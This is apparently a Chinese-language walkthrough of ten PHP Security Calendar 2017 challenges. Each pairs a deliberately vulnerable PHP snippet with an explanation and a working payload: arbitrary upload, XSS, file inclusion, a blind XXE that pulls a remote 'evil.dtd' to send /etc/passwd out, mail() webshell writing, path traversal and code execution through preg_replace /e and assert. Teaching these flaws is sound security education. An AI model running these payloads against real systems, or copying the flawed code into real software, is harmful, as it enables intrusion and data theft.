PHP SECURITY CALENDAR 2017 (1-10题)
Day 1 - Wish List
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
关键代码在__destruct析构函数中,使用in_array检查$_FILES[‘solution’]上传文件的文件名name是否在1~24的范围之内来选择是否执行move_uploaded_file,由于没有设置in_array的第三个参数导致了绕过检查。
in_array :(PHP 4, PHP 5, PHP 7)
功能 :检查数组中是否存在某个值
定义 :
in_array(mixed $needle, array $haystack, bool $strict = false): bool
返回值 :bool
大海捞针,在 $haystack 中搜索 $needle ,如果没有设置第三个参数
strict
则使用宽松的比较。启用第三个参数为true,则会使用强比较,检查类型是否也相同
例如文件名为 7shell.php 。因为PHP在使用 in_array() 函数判断时,会将 7shell.php 强制转换成数字7,而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断,导致任意文件上传漏洞。
Day 2 - Twig
// composer require "twig/twig"
require 'vendor/autoload.php';
class Template {
private $twig;
public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';
// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}
(new Template())->render();
这次考验的是xss漏洞,用到的模板引擎Twig来输出到页面。关键点要绕过两个函数escape和filter_var,在Twig模板引擎定义的 escape 过滤器来过滤link,而实际上这里的 escape 过滤器,是用PHP内置函数 htmlspecialchars 来实现的。Twig
中的{{link|escape}}
中的escape的和PHP中的htmlspecialchars($link, ENT_QUOTES, 'UTF-8')
是一样的,所以单引号和双引号等都无法使用了
htmlspecialchars :(PHP 4, PHP 5, PHP 7)
功能 :将特殊字符转换为 HTML 实体
& (& 符号) =============== & " (双引号) =============== " ' (单引号) =============== ' < (小于号) =============== < > (大于号) =============== >
第二处过滤在 第22行 ,这里用了 filter_var 函数来过滤 nextSlide 变量,且用了 FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url。filter_var
的URL过滤非常的弱,只是单纯的从形式上检测并没有检测协议。测试如下:
var_dump(filter_var('example.com', FILTER_VALIDATE_URL)); # false
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL)); # http://example.com
var_dump(filter_var('xxxx://example.com', FILTER_VALIDATE_URL)); # xxxx://example.com
var_dump(filter_var('http://example.com>', FILTER_VALIDATE_URL)); # false
针对这两处的过滤,我们可以考虑使用 javascript伪协议 来绕过,javascript://comment%250aalert(1)
这里的 // 在JavaScript中表示单行注释,所以后面的内容均为注释,那为什么会执行 alert 函数呢?那是因为我们这里用了字符 %0a ,该字符为换行符,所以 alert 语句与注释符 // 就不在同一行,就能执行。
后面的%250a其实是%0a的url编码。这里进行了二次编码。因为payload发给服务器后会解码一次。通过javascript://comment
绕过filter_var
,最后得到javascript://comment%0aalert()
进入到<a href="{{link|escape}}">Next slide »</a>
刚好能够触发alert。
Day 3 - Snow Flake
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $data;
public function __construct($data) {
$this->data = $data;
}
public function render() {
if ($this->data['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
在第8行中的class_exists()
会检查是否存在对应的类,当调用class_exists()
函数时会触发用户定义的__autoload()
函数,用于加载找不到的类。
class_exists :(PHP 4, PHP 5, PHP 7)
功能 :检查类是否已定义
定义 :
bool class_exists ( string $class_name[, bool $autoload = true ] )
$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoload 为 true ,当 $autoload 为 true 时,会自动加载本程序中的 __autoload 函数;当 $autoload 为 false 时,则不调用 __autoload 函数。
除此之外,还有很多的函数在调用__autoload()
的方法,如下:
call_user_func()
call_user_func_array()
class_exists()
class_implements()
class_parents()
class_uses()
get_class_methods()
get_class_vars()
get_parent_class()
interface_exists()
is_a()
is_callable()
is_subclass_of()
method_exists()
property_exists()
spl_autoload_call()
trait_exists()
所以如果我们输入../../../../etc/passwd
是,就会调用class_exists()
,这样就会触发__autoload()
中的include
产生任意文件包含。前提是 PHP5~5.3版本 之间才可以,这个漏洞在PHP 5.4
中已经被修复了。
另一个是blind xxe
漏洞,由于存在class_exists()
,所以我们可以调用PHP的任意内置函数,并且通过$controller = new $controllerName($data);
进行实例化。这个时候就可以借助与PHP中的SimpleXMLElement
类来完成XXE攻击。
test2.php?c=SimpleXMLElement&d=<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://外网地址/evil.dtd">
%remote;
%send;
]>
Day 4 - False Beard
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}
public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<xml><user="%s"/><pass="%s"/></xml>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}
new Login($_POST['username'], $_POST['password']);
第8-9行进行了strpos
函数的过滤,然后把接收到的数据进行SimpleXMLElement
函数处理。其实这里由于strpos
函数使用不当导致了注入问题。
strpos — 查找字符串首次出现的位置
作用:主要是用来查找字符在字符串中首次出现的位置。
var_dump(strpos('abcd','a')); # 0 var_dump(strpos('abcd','x')); # false
strpos
函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标,则返回下标 0 ;如果搜索不到,则返回 false 。
由于PHP的自动类型转换的关系,0
和false
是相等的,如下:
var_dump(0==false); # true
所以如果我们传入的username
和password
的首位字符是<
或者是>
就可以绕过限制,那么最后的pyaload就是:
username=<"><injected-tag%20property="&password=<"><injected-tag%20property="
最终传入到$this->login($xmlElement)
的$xmlElement
值是<xml><user="<"><injected-tag property=""/><pass="<"><injected-tag property=""/></xml>
这样就可以进行注入了。
Day 5 - Postcard
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}
return escapeshellarg($email);
}
public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}
if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}
if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}
if (!isset($data['message'])) {
$data['message'] = '';
}
mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}
$mailer = new Mailer();
$mailer->send($_POST);
代码中有个mail函数,如果第五个参数设置为-X,则可以写入webshell
上面这个样例中,我们使用 -X 参数指定日志文件,最终会在 /var/www/html/rce.php 文件中写入如下数据:
17220 <<< To: Alice@example.com
17220 <<< Subject: Hello Alice!
17220 <<< X-PHP-Originating-Script: 0:test.php
17220 <<< CC: somebodyelse@example.com
17220 <<<
17220 <<< <?php phpinfo(); ?>
17220 <<< [EOF]
要到达mail函数,则需要经过两个过滤filter_var
和escapeshellarg
filter_var :使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
功能 :这里主要是根据第二个参数filter过滤一些想要过滤的东西。
filter_var() 问题在于,在双引号中即使存在特殊字符,仍然能够通过检测为true。以下是一些有效通过的例子:
Valid email addresses:
niceandsimple@example.com
very.common@example.com
a.little.lengthy.but.fine@dept.example.com
disposable.style.email.with+symbol@example.com
user@[IPv6:2001:db8:1ff::a0b:dbd0]
"much.more unusual"@example.com
"very.unusual.@.unusual.com"@example.com
"very.(),:;<>[]".VERY."very@\ "very".unusual"@strange.example.com
postbox@com (top-level domains are valid hostnames)
admin@mailserver1 (local domain name with no TLD)
!#$%&'*+-/=?^_`{}|~@example.org
"()<>[]:,;@\"!#$%&'*+-/=?^_`{}| ~.a"@example.org
" "@example.org (space between the quotes)
üñîçøðé@example.com (Unicode characters in local part)
当然由于引入的特殊符号,虽然绕过了 filter_var() 针对邮箱的检测,但是由于在PHP的 mail() 函数在底层实现中,调用了 escapeshellcmd() 函数,对用户输入的邮箱地址进行检测,导致即使存在特殊符号,也会被 escapeshellcmd() 函数处理转义,这样就没办法达到命令执行的目的了。所以可以利用escapeshellarg和escapeshellcmd一起使用从而绕过。
escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd 函数默认不转义。
当escapeshellcmd() 和 escapeshellarg 一起使用,会造成特殊字符逃逸,下面我们给个简单例子理解一下:
-
传入的参数是
127.0.0.1' -v -d a=1
-
由于
escapeshellarg
先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:'127.0.0.1'\'' -v -d a=1'
-
接着
escapeshellcmd
函数对第二步处理后字符串中的\
以及a=1'
中的单引号进行转义处理,结果如下所示:'127.0.0.1'\\'' -v -d a=1\'
-
由于第三步处理之后的payload中的
\\
被解释成了\
而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:
所以这个payload可以简化为 curl 127.0.0.1\ -v -d a=1'
,即向 127.0.0.1\
发起请求,POST 数据为 a=1'
。
Day 6 - Frost Pattern
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}
public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}
public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}
$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);
在clearToken()
方法中的正则表达式[^a-z.-_]
,本意是将非a-z
、.
、-
、_
全部替换为空。这样../../../
目录穿越的方式就无法使用了,因为/
会被替换为空。
但是本题的问题在于[^a-z.-_]
中的-
没有进行转义。如果-
没有进行转义,那么-
表示匹配一个列表,例如[1-9]
表示的数字1到9,但是如果[1\-9]
表示就是匹配字母1
、-
和9
。所以在本题中使用的[^a-z.-_]
表示的就是非ascii表中的序号为46至122的字母替换为空。那么此时的../.../
就不会被匹配,就可以进行目录穿越,从而造成任意文件删除了。
最后的pyload可以写为:action=delete&data=../../config.php
Day 7 - Bells
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}
$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';
首先来看parse_url函数
用法:parse_url(string
$url
, int$component
= -1): [mixed]本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
如果省略了
component
参数,将返回一个关联数组 array,在目前至少会有一个元素在该数组中。数组中可能的键有以下几种:
- scheme - 如 http
- host
- port
- user
- pass
- path
- query - 在问号
?
之后- fragment - 在散列符号
#
之后
例如:http://username:password@hostname/path?arg=value#anchor则会输出以下
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
在题目中的$var['query']
就是?后面的参数键值对。接下来看第二个函数parse_str
用法:parse_str(string,array)
parse_str() 函数把查询字符串解析到变量中。
实例
把查询字符串解析到变量中:
<?php parse_str("name=Peter&age=43"); echo $name."<br>"; echo $age; ?>
而这个parse_str
就是容易产生变量覆盖漏洞的函数。同时$_SERVER['HTTP_REFERER']
也是可控的,那么就存在变量覆盖的漏洞了。
通过变量覆盖漏洞,我们可以覆盖掉$config
,使其在我们构造的数据库中进行查询,这样就能够保证我们能够顺利地进行通过验证。
最后的payload如下:http://host/config[dbhost]=10.0.0.5&config[dbuser]=root&config[dbpass]=root&config[dbname]=malicious&id=1
Day 8 - Candle
header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
return preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
}
foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}
preg_replace
函数的/e模式会产生代码执行,下面是一个demo。第一个参数必须是匹配到第三个参数,第二个参数就会产生命令执行
preg_replace('/(.*)/e','phpinfo();','xxx');
preg_replace:(PHP 5.5)
功能 : 函数执行一个正则表达式的搜索和替换
定义 :
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换
我们可以通过控制 preg_replace 函数第1个、第3个参数,来执行代码。但是可被当做代码执行的第2个参数,却固定为 'strtolower("\1")' 。
因为strtolower("\\1")
使用的是双引号,而php中的双引号能够执行代码,比如
<?php
echo strtolower("{${phpinfo()}}");
?>
所以此处的strtolower("\\1")
就是\1
echo strtolower("\\1");
\1在正则表达式中表示反向引用,即引用正则第一次匹配到的值{${phpinfo()}}
,这样就相当于执行了{${phpinfo()}}
那么本题的最后的payload可以写为/?.*={${phpinfo()}}
但是,如果GET请求的参数名存在非法字符,PHP会将其替换成下划线,即 .*
会变成 _*
。所以 payload 变为了:
_*={${phpinfo()}}
这时候需要绕过 . 的话,可以利用以下payload,都是第一个参数匹配第三个参数,然后执行第二个参数的代码,反向引用了{${phpinfo()}}
导致代码执行
http://test.com/test.php/?{\${\w*\(\)}}={${phpinfo()}}
http://test.com/test.php/?\S*={${phpinfo()}}
Day 9 - Rabbit
class LanguageManager
{
public function loadLanguage()
{
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}
private function getBrowserLanguage()
{
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}
private function sanitizeLanguage($language)
{
return str_replace('../', '', $language);
}
}
(new LanguageManager())->loadLanguage();
这一题考察的是一个 str_replace 函数过滤不当造成的任意文件包含漏洞。在上图代码 第18行 处,程序仅仅只是将 ../ 字符替换成空,这并不能阻止攻击者进行攻击。例如攻击者使用payload:....// 或者 ..././ ,在经过程序的 str_replace 函数处理后,都会变成 ../ ,所以上图程序中的 str_replace 函数过滤是有问题的。
str_replace :(PHP 4, PHP 5, PHP 7)
功能 :子字符串替换
定义 :
mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )
该函数返回一个字符串或者数组。如下:
str_replace(字符串1,字符串2,字符串3):将字符串3中出现的所有字符串1换成字符串2。
str_replace(数组1,字符串1,字符串2):将字符串2中出现的所有数组1中的值,换成字符串1。
str_replace(数组1,数组2,字符串1):将字符串1中出现的所有数组1一一对应,替换成数组2的值,多余的替换成空字符串。
那么最后的请求的payload如下:
Accept-Language: .//....//....//etc/passwd
Day 10 - Anticipation
$pi = extract($_POST);
function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}
if (!isset($pi) || !is_numeric($pi)) {
goAway();
}
if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}
虽然这道题目存在extract($_POST);
,但并不存在变量覆盖漏洞。 这个题目存在两个关键的问题:
- 虽然做了pi值的防范,但是程序在header跳转处理完之后,没有使用
exit()
或者是die()
退出,导致后续的第11行代码任然可以执行。 assert()
能够执行"
中的代码,如assert("(int)phpinfo()");
例如我们的payload为:pi=phpinfo() (这里为POST传递数据),然后程序就会执行这个 phpinfo 函数。当然,你在浏览器端可能看不到 phpinfo 的页面,而是像下面这样的图片:
但是用 BurpSuite ,大家就可以清晰的看到程序执行了 phpinfo 函数:
实际上,这种案例在真实环境下还不少。例如有些CMS通过检查是否存在install.lock文件,从而判断程序是否安装过。如果安装过,就直接将用户重定向到网站首页,却忘记直接退出程序,导致网站重装漏洞的发生。